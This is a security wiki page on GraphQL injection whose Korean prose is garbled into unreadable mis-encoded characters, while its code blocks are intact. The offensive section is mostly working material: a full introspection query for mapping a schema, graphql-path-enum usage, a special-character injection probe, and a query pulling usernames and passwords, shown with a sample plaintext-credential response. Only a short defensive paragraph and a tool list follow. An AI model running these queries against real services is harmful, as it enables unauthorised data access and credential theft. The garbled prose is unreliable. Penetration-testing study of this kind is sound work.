๐ Introduction
GraphQL Injection์ GraphQL์ ์ฌ์ฉํ๋ ํ๊ฒฝ์์์ Injection ๊ณต๊ฒฉ์ ์๋ฏธํฉ๋๋ค. GraphQL ํน์ฑ ์ ์ฌ์ฉ์๊ฐ ์์ฒญํ Query๋ ํ๋์ ์๋ฒ ๋๋ ๋ณต์์ ์๋ฒ์์ ์ฒ๋ฆฌ๋์ด ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌํดํ๊ธฐ ๋๋ฌธ์ ๋จ์ํ GraphQL ๋ง์ ๋ฌธ์ ๊ฐ ์๋ SQL Injection์ด๋ XXE ๋ฑ ๋ค๋ฅธ ์ทจ์ฝ์ ์ผ๋ก ์ฐ๊ฒฐ๋ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
๊ทธ๋์ ์ข์ ์๋ฏธ๋ก๋ GraphQL ์์ฒด ์ฆ, Scheme๊ณผ Query ๊ฐ์์ ๋ฐ์ํ๋ ๊ณต๊ฒฉ์ ์๋ฏธํ๊ณ , ๋๊ฒ๋ ๋ฐฑ์๋์์์ ์ฒ๋ฆฌ ๋ฌธ์ ๋ก ์ธํ ๋ถ๋ถ(SQLi, XXE ๋ฑ)๋ ํฌํจ๋๊ธฐ๋ ํฉ๋๋ค.
GraphQL์ ๋ํ ์ ๋ฐ์ ์ธ ๋ณด์ ๊ด๋ จ ๋ด์ฉ์ โCullinan > GraphQL Securityโ ์ฐธ๊ณ ํด์ฃผ์ธ์.
๐ก Offensive techniques
Detect
์๋น์ค์์ GraphQL์ ์ฌ์ฉํ๋ ๋ถ๋ถ์ ๋ชจ๋ ํ ์คํ ํฌ์ธํธ๊ฐ ๋ฉ๋๋ค. ๋ณดํธ์ ์ผ๋ก /graphql ๋ฑ์ ๊ฒฝ๋ก๋ฅผ ๋ง์ด ์ฌ์ฉํ๋ฉฐ, ํด๋น ๊ฒฝ๋ก๊ฐ ์๋๋๋ผ๋ query๋ฅผ ํฌํจํ ๊ฒฝ์ฐ GrphQL ์๋น์ค๋ก ํ์ธํฉ๋๋ค.
GraphQL์ Endpoint๋ฅผ ์ฐพ์๋ค๋ฉด Schema, Query ์์ญ์ ํน์๋ฌธ์ ๋ฑ์ ํตํด ์๋๋์ง ์์ ๋์์ด๋ ์๋ฌ๊ฐ ๋ฐ์ํ๋๋ก ์๋ํฉ๋๋ค.
Exploitation
Enum via Introspection Query
Introspection Query๋ GraphQL์์ ์คํค๋ง์ ์ฟผ๋ฆฌ์ ๋ํ ์ ๋ณด๋ฅผ ์ง์ํ ์ ์๋๋ก ์ ๊ณตํ๋ ์ฟผ๋ฆฌ์ ๋๋ค. __schema๋ฅผ ์ด์ฉํ ์ฟผ๋ฆฌ ๊ธฐ๋ฒ์ด๊ณ GraphQL ์ ์ฒด ๊ตฌ์กฐ๋ฅผ ์ง์ํ ์ ์๋๋ก ์ฟผ๋ฆฌ๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
๋ณดํต ์์ ์ฟผ๋ฆฌ๋ฅผ ์ด์ฉํ์ฌ ๊ฒฐ๊ณผ๋ฅผ ๋ฝ์๋ธ ํ ์๋ GraphQL Voyager๋ก ๊ตฌ์ฑ๋๋ฅผ ๊ทธ๋ ค์ ํ์ธํฉ๋๋ค.
CHANGE SCHEMA
> INTROSPECTION
> ๊ฒฐ๊ณผ ๋ถ์ฌ๋ฃ๊ธฐ
> DISPLAY
Enum via graphql-path-enum
# Clone graphql-path-enum
git clone https://gitlab.com/dee-see/graphql-path-enum
cd graphql-path-enum
# Run
graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Result
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
....
Check Injection
GraphQL์ ๋ถ์ด์๋ API๋ค์ด ์ด๋ค ๋ฐ์ดํฐ๋ฅผ ์ด๋ป๊ฒ ๊ฐ๊ณตํ๋์ง ์ ์ ์๊ธฐ ๋๋ฌธ์ GraphQL์ ๊ตฌ์กฐ๋ฅผ ์ต๋ํ ํ์ ํ ํ ๊ธฐ๋ฅ๋ณ๋ก ์ฟผ๋ฆฌ๋ฅผ ์งํํด์ผํฉ๋๋ค. ๋จ์ํ๊ฒ๋ Key/Value ๋ด ํน์๋ฌธ์๋ ์๋น์ค์์ ์ฌ์ฉํ์ง ์๋ ๊ฐ๋ค์ ์์ฃผ๋ก ์ ์กํ์ฌ Response๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
GET https://blahblah/graphql?query={wor'">k}
Query to sensitive info
GET https://blahblah/graphql?query={user{username,password}}
Response
200 OK
{
"data": {
"user": [
{
"password": "1234",
"username": "admin"
},
{
"password": "bhbghyuyg",
"username": "user2"
},
{
"password": "hiuoij",
"username": "user1"
}
]
}
}
๐ก Defensive techniques
GraphQL Injection ๋ํ ๋ค๋ฅธ Injection ๊ณต๊ฒฉ๊ณผ ๊ฐ์ด ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ ๋ํ ๊ฒ์ฆ์ด ํ์ํฉ๋๋ค. ๋ํ GraphQL์ ํตํด ์๊ฐ๋ณด๋ค ๋ง์ ์ ๋ณด์ ์ ๊ทผํ ๊ฐ๋ฅ์ฑ์ด ์๊ธฐ ๋๋ฌธ์ ์ค๊ณ ๋จ๊ณ์์ ๋ฐ์ดํฐ, ๊ถํ ๋ฑ์ ๋ํ ๊ณ ๋ฏผ๊ณผ ๋ณดํธ ๋ก์ง์ด ํ์ํฉ๋๋ค.
๐น Tools
- GraphQLmap
- GraphQL-voyager
- GraphQL Security Toolkit
- Graphql-path-enum
- GraphQL IDE
- ClairvoyanceX
- InQL
- Insomnia
- AutoGraphql + introspection